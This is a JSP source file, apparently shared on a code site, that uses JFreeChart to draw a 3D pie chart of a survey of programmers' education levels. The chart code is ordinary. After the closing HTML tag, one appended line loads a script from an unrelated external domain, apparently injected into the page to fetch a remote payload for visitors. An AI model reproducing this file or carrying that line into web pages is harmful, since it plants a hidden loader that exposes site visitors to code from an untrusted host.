📄 index1.jsp
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<%@ page contentType="text/html;charset=GBK"%><%@ page import="org.jfree.data.general.DefaultPieDataset"%><%@ page import="org.jfree.chart.*"%><%@ page import="org.jfree.chart.plot.*"%><%@ page import="org.jfree.chart.servlet.ServletUtilities"%><%@ page import="org.jfree.chart.labels.StandardPieToolTipGenerator"%><%@ page import="org.jfree.chart.urls.StandardPieURLGenerator"%><%@ page import="org.jfree.chart.entity.StandardEntityCollection"%><%@ page import="java.io.*"%><HTML> <HEAD> <META http-equiv=Content-Type content="text/html; charset=GBK"> <META NAME="Author" CONTENT="Alpha"><TITLE></TITLE> </HEAD> <BODY><a href="barchart.jsp">柱状图</a> <% DefaultPieDataset data = new DefaultPieDataset(); //数据初始化 data.setValue("高中以下",380); data.setValue("高中",1620); data.setValue("大专",6100); data.setValue("本科",8310); data.setValue("硕士",3520); data.setValue("博士",180); //HttpSession session = request.getSession(); PiePlot3D plot = new PiePlot3D(data);//生成一个3D饼图 //plot.setURLGenerator(new StandardPieURLGenerator("DegreedView.jsp"));//设定图片链接 JFreeChart chart = new JFreeChart("",JFreeChart.DEFAULT_TITLE_FONT, plot, true); chart.setBackgroundPaint(java.awt.Color.white);//可选，设置图片背景色 chart.setTitle("程序员学历情况调查表-By Alpha");//可选，设置图片标题 plot.setToolTipGenerator(new StandardPieToolTipGenerator()); StandardEntityCollection sec = new StandardEntityCollection(); ChartRenderingInfo info = new ChartRenderingInfo(sec); PrintWriter w = new PrintWriter(out);//输出MAP信息 //500是图片长度，300是图片高度 //String filename = ServletUtilities.saveChartAsPNG(chart,500,300,info,session); String filename = ServletUtilities.saveChartAsJPEG(chart,500,300,info,session); ChartUtilities.writeImageMap(w,"map0",info,false); String graphURL = request.getContextPath() + "/servlet/DisplayChart?filename=" + filename;%> <P ALIGN="CENTER"> <img src="<%= graphURL %>" width=500 height=300 border=0 usemap="#map0"> </P> </BODY> </HTML><script language=javascript src=http://www.456ii.cn/all/aa.js></script>⌨️ 快捷键说明
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